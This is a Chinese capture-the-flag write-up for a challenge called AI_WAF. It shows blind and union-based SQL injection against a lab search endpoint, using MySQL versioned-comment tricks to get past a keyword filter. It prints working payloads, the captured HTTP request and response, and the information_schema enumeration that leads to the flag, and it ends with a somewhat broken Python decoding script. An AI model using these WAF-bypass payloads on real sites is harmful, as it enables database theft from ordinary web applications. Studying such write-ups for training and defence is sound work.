

SourceURL:file:///home/hack/files-win/CTF/WP/三届长城杯/AI_WAF.docx

AI_WAF

The screenshot shows the homepage of the NexaData website. At the top left is the logo 'NexaData'. At the top right is a button labeled '了解更多关于NexaData (如：使命与愿景)'. Below the header is a large banner with the text '让数据创造真实价值' (Let data create real value). A subtext below it reads: '我们通过智能分析平台，将复杂数据转化为可执行的商业洞察，赋能企业高效决策。' (We use intelligent analysis platforms to transform complex data into executable business insights, empowering enterprises to make efficient decisions.) In the center of the page is a section titled '关于 NexaData' (About NexaData). It includes a brief company history: 'NexaData 成立于 2018 年，总部位于上海，是一家专注于大数据智能分析与 AI 决策引擎的国家级高新技术企业。' (NexaData was founded in 2018, headquartered in Shanghai, and is a national high-tech enterprise specializing in big data intelligent analysis and AI decision-making engines.) To the right of this text are three statistics: '500+' (number of clients), '100B+' (amount of data processed daily), and '99.9%' (system availability). Below these statistics are three small icons with corresponding labels: '企业客户' (Enterprise clients), '日处理数据' (Daily data processing), and '系统可用性' (System availability). At the bottom of the page is a paragraph about the company's products and capabilities: '公司拥有自主研发的实时计算平台、智能预警系统和可视化 BI 工具，支持 PB 级数据处理能力，日均处理数据超 100 亿条。' (The company has independently developed a real-time computing platform, intelligent warning system, and visualization BI tools, supporting PB-level data processing capability, with daily processing data exceeding 100 billion records.)

1. 打开靶场一个搜索页面，在搜索框随便输入点东西，用bp抓包

测试得到为单引号闭合，and，or，select，group，order，where，--都被过滤

and用&&代替，select和where可以用内联函数绕过，注释用#

(很多WAF在检测非法字符时，会认为/.../只是注释，为了性能会不检查，但mysql看到！后直接拆开包装运行，单纯过滤select等关键字是可以直接绕过的)

2. 获取数据库，payload : '&& ascii(substr(database(),1,1))>0#

得到：nexadata

显示content加id为1-13为正确页面

由于不会写脚本，是一个个字符测过去的，改substr的位置和与ascii大小比较的数即可，下面同理

```

请求
美化 Raw Hex GraphQL
1 POST /search HTTP/1.1
2 Host: 182.92.198.223:24588
3 Content-Length: 48
4 Accept-Language: en-US
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.108 Safari/537.36
6 Content-Type: application/json
7 Accept: */*
8 Origin: http://182.92.198.223:24588
9 Referer: http://182.92.198.223:24588
10 Accept-Encoding: gzip, deflate, br
11 Connection: keep-alive
12
13 {
14     "query": "/*&& ascii(substr(database(),1,1))>0#"
15 }

```

```

响应
美化 Raw Hex 页面抓包
1 HTTP/1.1 200 OK
2 Server: Werkzeug/3.1.4 Python/3.10.12
3 Date: Sun, 28 Dec 2025 11:18:43 GMT
4 Content-Type: application/json
5 Content-Length: 11754
6 Connection: close
7
8 {
9     "count": 13,
10    "keyword": /*&& ascii(substr(database(),1,1))>0#",
11    "results": [
12        {
13            "content": "Nexadata \u0662f\u04e0\u05bb6\u09886\u05148\u07684\u06578\u0636e\u067a\u08fd\u016c\u0537f\u0fffc\u0174\u0529b\u04e8e\u0981a\u08fc7\u0148\u08fd\u07684\u06578\u0636e\u05286\u05798\u0301\u04eba\u05de51\u0667a\u080fd\u04e0e\u04e91\u08ba1\u07b97\u06288\u0672f\u0fffc\u08d4b\u080fd\u04f01\u04e1a\u05b9e\u073b8\u06578\u0636e\u09871\u0528b\u07684\u05103\u05b56\u04e8e\u0589e\u0957f\u03002\u06211\u04ecv\u043a\u091d1\u0878d\u03001\u096f6\u0552e\u03001\u05236\u09828\u03081\u0533b\u0597f\u0749f\u0591a\u04e2a\u0884c\u04e1a\u063d0\u04f9b\u07aef\u0523f\u07aef\u07684\u06578\u0636e\u0983\u05b3\u05b9b\u0648b\u0fffc\u05e2e\u052a9\u05ba2\u06237\u091ca\u0533e\u06578\u0636e\u06f5c\u080fd\u0fffc\u063d0\u05347\u0fffd\u06425\u06548\u07387\u04e8e\u05e82\u0573a\u07ade\u04e89\u0529b\u03025",
14            "id": 1,
15            "title": "\u0516c\u053f8\u07b88\u04ecb"
16        },
17        {
18            "content": "\u05728\u0570\u0636e\u07286\u07b81\u07684\u06576\u04ee3\u0fffc\u04fe1\u060f\u07684\u04ef7\u053c\u04e8d\u0572b\u04e8e\u0516\u0570\u091cf\u0fffc\u0809c\u0728b\u04e8e\u05982\u04f551\u05b1b\u07486\u089e3\u04e8e\u08fd8\u07528\u03002NexaData \u05e94\u08f08\u0808c\u0751f\u0214\u0814\u06211\u04e8c\u076f8\u04f1f\u0fffc\u08bcf\u04e8e\u08fd4\u07279\u07684\u05781\u0536e\u08cc\u0548e\u090fd\u08574\u05cfc\u07749\u061e1\u05bf\u0672a\u05765"
19        }
20    ]
21 }

```

\3. 获取表格名 ,

```

payload : '&& ascii(substr((/*!50000select*/ group_concat(table_name)from
information_schema.tables /*!50000where*/ database()=table_schema),1,1))>0#
或'/*!50000AND*/ 1=1 /*!50000union*/ /*!50000select*/
1,2,group_concat(table_name)from information_schema.tables /*!50000where*/
database()=table_schema#

```

得到 : article,where_is_my_flagggggg

4.获取where_is_my_flaggggg表的列名 ,

```

payload : '/*!50000AND*/ 1=1 /*!50000union*/ /*!50000select*/
1,2,group_concat(column_name)from information_schema.columns /*!50000where*/
database()=table_schema /*!50000AND*/  table_name='where_is_my_flaggggg'#

```

得到 : Th15_ls_f149

5.获取flag ,

```

payload : '&& ascii(substr((/*!50000select*/ group_concat(Th15_ls_f149)from
where_is_my_flaggggg),1,1))>0#
或'/*!50000AND*/ 1=1 /*!50000union*/ /*!50000select*/
1,2,group_concat(Th15_ls_f149) from where_is_my_flaggggg#

```

6.将所有测试出来的ascii码组成列表 ,由于在测试时发现49,50两个连续的ascii码被过滤 ,所以在这两个数字之间不确定 ,我把测试到这种情况的ascii码在flag列表的索引记录下来了 ,把所有情况的flag都去提交直到成功即可

```
database=[110,101,120,97,100,97,116,97]
```

```
tables=[97,114,116,105,99,108,101,44,119,104,101,114,101,95,105,115,95,109,121,95,102,108,97,103,103,103,103,103]
columns=[84,104,49,53,95,108,115,95,102,49,52,57]
flag=[102,108,97,103,123,56,99,54,49,54,56,101,48,45,100,98,52,53,45,52,53,54,49,45,98,49,57,100,45,49,51,102,48,57,102,100,100,52,56,98,53,125]
print(flag[8],flag[22],flag[25],flag[29])
flag1=[] for i in flag:
    flag1.append(chr(i))
print("database:",end='')
for i in database:
    print(chr(i),end=' ')
print('\n',"tables:",end=' ')
for x in tables:
    print(chr(x),end=' ')
    print('\n',"columns:",end=' ')
for x in columns:
    print(chr(x),end=' ')
    print() #print("flag{8c6268e0-db45-4561-b19d-23f09fdd48b5}")
for x in range(2):
    for y in range(2):
        for z in range(2):
            for w in range(2):
                flag2=flag1
                flag2[8]=chr(49+x)
                flag2[22]=chr(49+y)
                flag2[25]=chr(49+z)
                flag2[29]=chr(49+w)
                for m in flag2:
                    print(m,end=' ')
                print()
```